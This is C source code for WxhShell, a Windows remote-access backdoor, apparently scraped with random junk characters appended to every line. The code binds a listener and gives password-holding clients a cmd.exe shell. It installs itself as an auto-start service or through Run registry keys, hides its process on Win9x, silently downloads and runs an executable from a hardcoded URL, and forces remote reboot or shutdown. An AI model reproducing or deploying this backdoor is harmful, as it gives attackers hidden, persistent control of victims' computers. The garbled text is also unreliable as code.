  case 'd': { k j&hn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 10m`LG  
    if(Boot(SHUTDOWN)) 3+V.9TL'a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^aY,Wq  
    else { ^fti<Lw5  
    closesocket(wsh);  T_<:  
    ExitThread(0); ^1X 6DH`  
    } (^^}Ke{J  
    break; ccgV-'IG9  
    } &M2fcw?  
  // 获取shell }Hb_8P  
  case 's': { g>_d,#F  
    CmdShell(wsh); |7b@w;q,D  
    closesocket(wsh); r\m2Oo)]  
    ExitThread(0); *m`F-J6U  
    break; &a";jO GB  
  } u(4o#m  
  // 退出 'UB"z{w%  
  case 'x': { BU=Ta$#BZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); me@EKspX  
    CloseIt(wsh); KwhATYWQb  
    break; QVWUm!  
    } M/jdMfU  
  // 离开 &u~%5;  
  case 'q': { &(~"OD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `+GiSj8'G  
    closesocket(wsh); BzI(  
    WSACleanup(); "mAMfV0  
    exit(1); MMf_  
    break; gdG#;T'  
        } P.O/ZW>g  
  } @<44wMp  
  } x$6FvgP(  
dt(Lp_&v  
  // 提示信息 L$=a,$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9a{9|p>L  
} qEnmms1  
  } Xvn \~Vr  
wW0m}L  
  return; {)& b6}2h  
} K2-nP2Go?  
4j~WrdI*  
// shell模块句柄 zWf(zxGAz  
int CmdShell(SOCKET sock) Y,d|b V*FH  
{ N#7_)S[@0l  
STARTUPINFO si; PF: E{_~  
ZeroMemory(&si,sizeof(si)); WFMQ;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _H$Z }2g<z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *+<H4.W H  
PROCESS_INFORMATION ProcessInfo; GlaZZ,   
char cmdline[]="cmd"; DWu~%U8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eEg> EI_U  
  return 0; r }Nq"s<  
} YPS,[F'B.  
3H,>[&d  
// 自身启动模式 mJS-x-@  
int StartFromService(void) H^8t/h  
{ v QDkZ  
typedef struct gYfOa`k  
{ Bt"*a=t;  
  DWORD ExitStatus; 6>- Gi  
  DWORD PebBaseAddress; wm/>_  
  DWORD AffinityMask; L'}^Av_+  
  DWORD BasePriority; rOXh?r  
  ULONG UniqueProcessId; 2T}FX4'  
  ULONG InheritedFromUniqueProcessId; e}q!m(K]e-  
}   PROCESS_BASIC_INFORMATION; LrnE6 U9  
QlWkK.<Z3_  
PROCNTQSIP NtQueryInformationProcess; pqxBu  
f`_6X~ p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $ iU~p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %{^kmlO  
PoRL35  
  HANDLE             hProcess; 1A/li%  
  PROCESS_BASIC_INFORMATION pbi; w}Xy;0c  
4L[-[{2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Pna2IB+  
  if(NULL == hInst ) return 0; QD*(wj  
[LHfH3[gU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RaY=~g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =/F\_/Xw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PVUNi: h  
T|lyjX$Q]9  
  if (!NtQueryInformationProcess) return 0; %dA7`7j  
)z2hyGX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Nyo,6 AA  
  if(!hProcess) return 0; ?kM53zbT#  
Vr%!rQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Gzu $  
j8#B  
  CloseHandle(hProcess); e+>&? x  
IDr$Vu4LCW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .6#Y- iJqc  
if(hProcess==NULL) return 0; Og3bV_,"  
EL-1o0 2-  
HMODULE hMod; \m;"KyP+  
char procName[255]; sy.U] QG  
unsigned long cbNeeded; Z]I yj 97  
#3act )m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JK9}Kb};  
rnC u=n  
  CloseHandle(hProcess); l<# *[TJ  
obhq2sK  
if(strstr(procName,"services")) return 1; // 以服务启动 0q ^dpM  
kKg%[zXS  
  return 0; // 注册表启动 gKGM|0u|r  
} )q+9_KU q  
x9!vtrM\Zr  
// 主模块 I7nZ9n|KU  
int StartWxhshell(LPSTR lpCmdLine) (j;6}@  
{ L E>A|M$X  
  SOCKET wsl; +e%U6&l{  
BOOL val=TRUE; saaN$tU7  
  int port=0; h^KLqPBt{  
  struct sockaddr_in door; R83Me #&  
)gR !G]Y  
  if(wscfg.ws_autoins) Install(); P$=Y5   
 Gp/yr  
port=atoi(lpCmdLine); \kGi5G]  
$xf{m9 8  
if(port<=0) port=wscfg.ws_port; H]7;O M/g  
Q+\?gU]  
  WSADATA data; 0UB,EI8   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f}c z_"o4  
&m6x*i-5\f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R)w|bpW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BEzF'<Z  
  door.sin_family = AF_INET; zU9G: jH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nVC:5ie  
  door.sin_port = htons(port); -B-nTS`  
[J|)DUjt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *SX'Or,  
closesocket(wsl); -PSI^%TR#  
return 1; oiq7I@Y`x  
} #D$vH  
VBIY[2zf  
  if(listen(wsl,2) == INVALID_SOCKET) { YolO-5  
closesocket(wsl); [~ sXjaL8  
return 1; l ^*GqP5  
} MhNDf[W>  
  Wxhshell(wsl); 0omg%1vt<A  
  WSACleanup(); JxP=[>I  
''Y}Q"  
return 0; L$GhM!c  
J2`b:%[  
} D@i,dPz5Zl  
{Tp0#fi  
// 以NT服务方式启动 $SQ8,Y,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9K@>{69WQ  
{ av(d0E}}b  
DWORD   status = 0; {g2cm'hD  
  DWORD   specificError = 0xfffffff; eiJO;%fl>l  
5O Ob(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zv]-(<B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2B8p3A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HM])m>KeT  
  serviceStatus.dwWin32ExitCode     = 0; pCz;km  
  serviceStatus.dwServiceSpecificExitCode = 0; :>$)Snqo=n  
  serviceStatus.dwCheckPoint       = 0;  I)E+  
  serviceStatus.dwWaitHint       = 0; )>atoA  
Z1FO.[FV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~y}M GUEC  
  if (hServiceStatusHandle==0) return; 6u3DxFiTm  
{}?s0U$5  
status = GetLastError(); S<f&?\wK=v  
  if (status!=NO_ERROR) (XJehdB0  
{ p;:tzH\l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~F*pV*  
    serviceStatus.dwCheckPoint       = 0; $jb0/  
    serviceStatus.dwWaitHint       = 0; cve(pkl  
    serviceStatus.dwWin32ExitCode     = status; Y;je::"  
    serviceStatus.dwServiceSpecificExitCode = specificError; rm>;B *;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z12[vN  
    return; =iRi 9r'l  
  } l^ni"X  
sJX/YGHt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h)q:nlKUW  
  serviceStatus.dwCheckPoint       = 0; ]nN']?{7PW  
  serviceStatus.dwWaitHint       = 0; k0?4vA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .s|n}{D_i  
} iYA06~ d  
j4le../N  
// 处理NT服务事件,比如:启动、停止 fcb:LPk;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MQ2gzKw>  
{ epm  t  
switch(fdwControl) c6s*u%+},  
{ ;)[RG\  
case SERVICE_CONTROL_STOP: RMDs~  
  serviceStatus.dwWin32ExitCode = 0; a=gTGG"9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mwCNfwb:  
  serviceStatus.dwCheckPoint   = 0; F8Y D:   
  serviceStatus.dwWaitHint     = 0; rx'},[b]3  
  { kmM_Af&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |!dyk<}oIu  
  } _< 69d  
  return; @y->4`N  
case SERVICE_CONTROL_PAUSE: LLg ']9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .t xgb  
  break; *-Y77p7u  
case SERVICE_CONTROL_CONTINUE: {gl-tRC3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KU3lAjzN  
  break; M9]O!{ sq  
case SERVICE_CONTROL_INTERROGATE: a<sE dp  
  break; >Fz_]z   
}; TF|GGY i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zUXqTcj  
} q NU\XO`H  
DyG3|5s1R  
// 标准应用程序主函数 ;7 i0ko9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qDhz|a#  
{ %fh ,e5(LT  
q>r9ooN  
// 获取操作系统版本 Pp:(PoH  
OsIsNt=GetOsVer(); :cG_aO kid  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hy|$7]1  
3w ?)H  
  // 从命令行安装 v%/_*69a  
  if(strpbrk(lpCmdLine,"iI")) Install(); k x6%5%  
;_of'  
  // 下载执行文件 N+b" LZc  
if(wscfg.ws_downexe) { rcq(p (!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;QW6Tgt11  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0^]E-Zf  
} nmc=RK^cM  
`9s5 *;Z  
if(!OsIsNt) { iF{eGi  
// 如果时win9x,隐藏进程并且设置为注册表启动 xRP#}i:m  
HideProc(); "Hg.pDNZ  
StartWxhshell(lpCmdLine); 2z:4\Y5  
} Ngu+V  
else QSAz:Yvf|  
  if(StartFromService()) %@G<B  
  // 以服务方式启动 t}qoIxy)  
  StartServiceCtrlDispatcher(DispatchTable); j?+FS`a!  
else '+Gt+Gq+  
  // 普通方式启动 !?Z}b.%W  
  StartWxhshell(lpCmdLine); 5(%+8<2  
$9+}$lpPd  
return 0; ^lB1- ;ng  
} \QBODJ1  
_w Cp.[3?t  
IpoZ6DB$  
g>_6O[;t%  
=========================================== ,@khV  
hh{4r} |  
(JocnM|U  
9 vmH$  
@mNf(&  
)j4]Y dJ  
" z62e4U][  
8QE0J$d5  
#include <stdio.h> k5$_Q#  
#include <string.h> )T(xQ2&r4  
#include <windows.h> dum! AO  
#include <winsock2.h> &%>l9~F'~  
#include <winsvc.h> *["9;_KD  
#include <urlmon.h> gPT-zul  
uPsn~>(4  
#pragma comment (lib, "Ws2_32.lib") 9<.FwV >  
#pragma comment (lib, "urlmon.lib") }C}~)qaZv+  
iJZqAfG{m?  
#define MAX_USER   100 // 最大客户端连接数 q<@f3[A  
#define BUF_SOCK   200 // sock buffer TixH Ehw  
#define KEY_BUFF   255 // 输入 buffer U!XC-RA3 _  
w_ kHy_)  
#define REBOOT     0   // 重启 W7WHH \L/O  
#define SHUTDOWN   1   // 关机 m_W\jz??k  
]-bA{@tP.  
#define DEF_PORT   5000 // 监听端口 d?oupW}uu  
1 C{n!l  
#define REG_LEN     16   // 注册表键长度 ivb&J4?y  
#define SVC_LEN     80   // NT服务名长度 2rB$&>}T  
V.XHjHT  
// 从dll定义API 6ALf`:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); js^@tgf$x&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G':mc{{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f#ID:Ap3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SJ6lI66OX  
WLP A51R  
// wxhshell配置信息 Q i&!IG  
struct WSCFG { X{| 1E85fl  
  int ws_port;         // 监听端口 )r~$N0\D  
  char ws_passstr[REG_LEN]; // 口令 %DqF_4U9  
  int ws_autoins;       // 安装标记, 1=yes 0=no A@Z&ZBDg  
  char ws_regname[REG_LEN]; // 注册表键名 y5kqnibh@  
  char ws_svcname[REG_LEN]; // 服务名 czi$&(N0w$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %ErL L@e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L Bb&av  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Cl7IP<.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1tDd4r?Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m>x.4aO1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \;&j;"c,W  
:2^%^3+V  
}; KqP! ={>"  
SuB;Nb7r`  
// default Wxhshell configuration c_~)#F%P  
struct WSCFG wscfg={DEF_PORT, [uT& sZxmg  
    "xuhuanlingzhe", TbXp%O:[W  
    1, )TP 1i  
    "Wxhshell", -;a}'1HOE  
    "Wxhshell", Ett%Y*D+J  
            "WxhShell Service", (x@|6Sb  
    "Wrsky Windows CmdShell Service", o|>2X[T  
    "Please Input Your Password: ", _VMW-trG  
  1, W2O =dG`  
  "http://www.wrsky.com/wxhshell.exe", Lco JltY{5  
  "Wxhshell.exe" Om0Z\GP=  
    }; @.yp IE\  
'v GrbmK  
// 消息定义模块 Y#V`i K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jX-v9eaA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M`-#6,m3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X~*1  
char *msg_ws_ext="\n\rExit."; u> XCE|D*  
char *msg_ws_end="\n\rQuit."; +7U$qEG  
char *msg_ws_boot="\n\rReboot..."; Yz us=  
char *msg_ws_poff="\n\rShutdown..."; ?[hIv6c  
char *msg_ws_down="\n\rSave to "; +;c)GNQ)6:  
a}|B[b  
char *msg_ws_err="\n\rErr!"; R+Dx#Wn I  
char *msg_ws_ok="\n\rOK!"; dGt;t5An V  
f>k]{W Y  
char ExeFile[MAX_PATH]; G#t!{Q}8  
int nUser = 0; &#;vR 0O  
HANDLE handles[MAX_USER]; oTS*k: C'  
int OsIsNt; luACdC  
Obgn?TAVX  
SERVICE_STATUS       serviceStatus; N\ChA]Ck  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a[Ah  
vR.=o*!%  
// 函数声明 fW~r%u .y  
int Install(void); 4:.yE|@h[  
int Uninstall(void); kO{A]LnAH  
int DownloadFile(char *sURL, SOCKET wsh); X=USQj\A  
int Boot(int flag); \HF|&@}hU  
void HideProc(void); w!,~#hbt6  
int GetOsVer(void); }b)7gd=  
int Wxhshell(SOCKET wsl); &m&Z^CA  
void TalkWithClient(void *cs); `wj<d>m  
int CmdShell(SOCKET sock); KC9_H>  
int StartFromService(void); %JeT,{  
int StartWxhshell(LPSTR lpCmdLine); ekND>Qjj  
8iaP(*J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PN:/lIO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wa-#C,R\_#  
sgu#`@o  
// 数据结构和表定义 HJ?p,V q5_  
SERVICE_TABLE_ENTRY DispatchTable[] = -f@~{rK.L  
{ &\#If:  
{wscfg.ws_svcname, NTServiceMain}, I(y:Td  
{NULL, NULL} 4/vQ/>c2j  
}; .;&c<c|  
FpN>T  
// 自我安装 89e<,f`h  
int Install(void) -L%tiz`_  
{ 3qwi)nm  
  char svExeFile[MAX_PATH]; w/BaaF.0  
  HKEY key; _^]2??V  
  strcpy(svExeFile,ExeFile); -7,xjn  
;*>Y8^K&Q  
// 如果是win9x系统,修改注册表设为自启动 EVZuwbO)|  
if(!OsIsNt) { &o%IKB@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j;6kN-jx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 21Mr2-#z  
  RegCloseKey(key); *WdnP.'Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qIIc>By(\"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g\^7Q  
  RegCloseKey(key); "i0{E!,XL  
  return 0; ,j\1UAa  
    } =$xxkc.~G  
  } @'>h P  
} ^h #0e:7<  
else { 7%DA0.g  
"I+71Ce  
// 如果是NT以上系统,安装为系统服务 }TE4)vXs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7vO3+lT/Y;  
if (schSCManager!=0) S bI7<_  
{ E>>@X^ =  
  SC_HANDLE schService = CreateService LgFF+z  
  ( qM%l  
  schSCManager, {WJ9!pA!lk  
  wscfg.ws_svcname, x.W93e[]H  
  wscfg.ws_svcdisp, ;U$Fz~rJ  
  SERVICE_ALL_ACCESS, 4+46z|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1~rZka[s  
  SERVICE_AUTO_START, R@zl?>+  
  SERVICE_ERROR_NORMAL, xNDX(_U>\  
  svExeFile, f/+UD-@%m  
  NULL, OwRH :l  
  NULL, 7HfA{.|m  
  NULL, L *",4!  
  NULL, bit@Kv1<C  
  NULL Tk1U  
  ); 'PiQ|Nnb|  
  if (schService!=0) bDK%vx!_  
  { 4'EC(NR7N  
  CloseServiceHandle(schService); kq +`.  
  CloseServiceHandle(schSCManager); J; @g#h?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k6.<zs0  
  strcat(svExeFile,wscfg.ws_svcname); BO]}E:C9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e+416 ~X v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X'[93 C|K  
  RegCloseKey(key); sX_6qKUH  
  return 0; a(cZ]`s]*  
    } JSO'. [N  
  } Ujb7uho  
  CloseServiceHandle(schSCManager); luLt~A3H$  
} Ew.a*[W''  
} DVC<P}/  
8/4i7oOC  
return 1; i_<Uk8  
} ]rAaErB';  
N-C=O  
// 自我卸载 lHl1Ny\?  
int Uninstall(void) J+IkTqw  
{ @ootKY`  
  HKEY key; ]&;M 78^6  
\M(#FS  
if(!OsIsNt) { Q--Hf$D]H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iH&BhbRu_  
  RegDeleteValue(key,wscfg.ws_regname); b@9>1d$  
  RegCloseKey(key); $ /Rr|<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L`"B;a&  
  RegDeleteValue(key,wscfg.ws_regname); aJ;6!WFW  
  RegCloseKey(key); 1uz7E  
  return 0; EGD&/%aC  
  } #0*OkZMt  
} Dq$co1eT  
} R>|)-"b( `  
else { 6,J:sm\  
$<c;xDO&t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0xZX%2E  
if (schSCManager!=0) 0J \hku\  
{ P/9iB/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hlIh(\JZ4s  
  if (schService!=0) ItLP&S=  
  { y&F0IJ|`@M  
  if(DeleteService(schService)!=0) { bi =IIVlH  
  CloseServiceHandle(schService); ??MF8 uv  
  CloseServiceHandle(schSCManager); >o45vB4o  
  return 0; 2p6`@8*34  
  } 4|yZA*Q^  
  CloseServiceHandle(schService); @20~R/vh  
  } &i/QFO7y}  
  CloseServiceHandle(schSCManager); WJXQM[  
} !`UHr]HJ  
} vH`m W`=  
o>G^)aRa  
return 1; *Y!c6eA  
} FXF#v>&  
zG%ZDH^82_  
// 从指定url下载文件 'OERW|BO  
int DownloadFile(char *sURL, SOCKET wsh) Z3jtq-y  
{ 3B+ F'k&#  
  HRESULT hr; Tw)"#Y!T  
char seps[]= "/"; /d/Quro  
char *token; #" 3az8u  
char *file; ,?zIt6Z  
char myURL[MAX_PATH]; -( d,AX  
char myFILE[MAX_PATH]; M?yWFqFt9m  
? FlV<nE"J  
strcpy(myURL,sURL); h_w_OCC&2  
  token=strtok(myURL,seps); zc,kHO|  
  while(token!=NULL) T d6Gu"  
  { gp?|UMA9 .  
    file=token; JE[+  
  token=strtok(NULL,seps); 1Vden.H*CI  
  } ]n/fB|tE  
l>H G|ol  
GetCurrentDirectory(MAX_PATH,myFILE); pN]$|#%q(  
strcat(myFILE, "\\"); @X\2K?c(v  
strcat(myFILE, file); T@. $Zpz  
  send(wsh,myFILE,strlen(myFILE),0); q1d'L *   
send(wsh,"...",3,0); x?|C-v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c[a1 Md&  
  if(hr==S_OK) qUW>qi,  
return 0; vU|.Gw  
else %uVbI'n)  
return 1; dE[_]2];P  
m{ya%F  
} ^Z 9v_qB  
=z]8;<=pL  
// 系统电源模块 cdH Ug#  
int Boot(int flag) ~w>Z !RuhT  
{ ]0g%)fuMf  
  HANDLE hToken; |H(Mmqgk  
  TOKEN_PRIVILEGES tkp; lvyD#|P  
$ZQ?E^> B  
  if(OsIsNt) { $!msav  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); REmD*gf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E\%'/3o  
    tkp.PrivilegeCount = 1; INHN=KY{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o}iqLe\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s\-^vj3  
if(flag==REBOOT) { N$j I&SI?}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [xVE0l*\   
  return 0;  ;7F|g  
} H$ sNp\[{  
else { 4]\t6,Cz8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9hG+?   
  return 0; YBX7WZCR  
} T21SuM  
  } 0H V-e  
  else { CwV1~@{-  
if(flag==REBOOT) { Z_^v#FJ'l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C~5-E{i  
  return 0; E9Q?@'h  
} MKuy?mri~  
else { GW(-'V/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q)l]TgvSe  
  return 0; ^z[-pTY  
} LX %8a^?;  
}  xYMNyj~  
JMMsOA_]  
return 1; B) 81mcy  
} \I\'c.$I.Y  
@QAyXwp  
// win9x进程隐藏模块 6$'6x2,  
void HideProc(void) aE_)iE|  
{ u%#s_R  
IXSCYqoK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GMw|@?:{  
  if ( hKernel != NULL ) J-W, ^%  
  { (VPT% l6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qdn\8Pn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dwc$?Bg,5  
    FreeLibrary(hKernel); YLlw:jN  
  } vWJhSpC[  
5T[9|zJs  
return; 328(W  
} ':7%@2Zo  
Q7y6</4f  
// 获取操作系统版本 -S=Zsr\  
int GetOsVer(void) HA{-XPAWZ  
{ _ +,2b:D:  
  OSVERSIONINFO winfo; `9Qr kkG+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FjUp+5  
  GetVersionEx(&winfo); 3I_"vk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g~L1e5C]z  
  return 1; zXB]Bf3TH  
  else ?80@+y]  
  return 0; + R)x5  
} Q#@gOn=W\  
O=1uF  
// 客户端句柄模块 's{-1aW  
int Wxhshell(SOCKET wsl) JH~ve  
{ HrA6wn\O  
  SOCKET wsh; hfY Ieb#91  
  struct sockaddr_in client; ? OBe!NDf  
  DWORD myID; ^i{B8]2,  
%*.;3;m  
  while(nUser<MAX_USER) ^g,[#Rh  
{ cU25]V^{\  
  int nSize=sizeof(client); 5 TD"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lLHHuQpuj  
  if(wsh==INVALID_SOCKET) return 1; S^ ?OKqS  
5eC5oX>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +q]  
if(handles[nUser]==0) a9GOY+;bf  
  closesocket(wsh); b`n+[UCPtn  
else D PnKr/  
  nUser++; {uO8VL5+Qx  
  } 9p!V?cH#8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n=RAE^[M  
k=[!{I  
  return 0; -[#Mx}%  
} vd-`?/,||  
k@5,6s:  
// 关闭 socket I}Z[F,}*J  
void CloseIt(SOCKET wsh) -A9 !Y{Z  
{ Y#PbC  
closesocket(wsh); ,{c9Lv%@J  
nUser--; #VC^><)3  
ExitThread(0); (ju-r*0  
} RR:m <9l  
[pbX_  
// 客户端请求句柄 T\:3(+uK  
void TalkWithClient(void *cs) =&,zWNz)  
{ =~Jv*c  
zQ {g~x  
  SOCKET wsh=(SOCKET)cs; GI$t8{M  
  char pwd[SVC_LEN]; ',0~\V  
  char cmd[KEY_BUFF]; vjJ!d#8  
char chr[1]; ]}9y>+>  
int i,j; #;H,`r  
QB@qzgEJ!,  
  while (nUser < MAX_USER) { f? F i{m  
8'*z>1ZS5  
if(wscfg.ws_passstr) { BzA(yCu$:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "zw?AC6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ul[>LKFY  
  //ZeroMemory(pwd,KEY_BUFF); p;j$i6YJ  
      i=0; 0|{U"\  
  while(i<SVC_LEN) { ]t1)8v2w>  
N|Ua|^  
  // 设置超时 Pp GNA  
  fd_set FdRead; q y y.3-(  
  struct timeval TimeOut; 7F`QN18>(  
  FD_ZERO(&FdRead); 7& k lX  
  FD_SET(wsh,&FdRead); )+ Wr- Yay  
  TimeOut.tv_sec=8; 1l\O9D +$  
  TimeOut.tv_usec=0; %kJ:{J+w]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j&fr4t3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |1 is!leP  
-baGr;,Cu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,-c(D-&  
  pwd=chr[0]; OP2!lEs  
  if(chr[0]==0xd || chr[0]==0xa) { da!N0\.1T  
  pwd=0; ru(Xeojv#  
  break; 6kT l(+  
  } xbo-~{  
  i++; g$dL5N7  
    } VR_+/,~  
7^KQQ([  
  // 如果是非法用户,关闭 socket ]Nt97eD)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R^](X*  
} )gR14a  
Lj(hk @  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )dF(5,y)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A>>@&c:(  
]02 l!"  
while(1) { R_vZh|  
) 0AE*S  
  ZeroMemory(cmd,KEY_BUFF); 'QT(TF>  
=JO|m5z8>  
      // 自动支持客户端 telnet标准   4g\a$7 r  
  j=0; ]vQo^nOo  
  while(j<KEY_BUFF) { PBn(k>=+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (fh:q2E#  
  cmd[j]=chr[0]; NFLmM  
  if(chr[0]==0xa || chr[0]==0xd) { UUb!2sO  
  cmd[j]=0; S;ulJ*qv  
  break; DGHX:Ft#  
  } 83i%3[L  
  j++; gSR&CnqZ<  
    } dhK$ XG  
a4`@z:l  
  // 下载文件 7R) )(-  
  if(strstr(cmd,"http://")) { e,~c~Db* Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o,\%c" mC  
  if(DownloadFile(cmd,wsh)) V]k!]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a2=wJhk  
  else Y[s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -&,NM  
  } fy_'K}i3k  
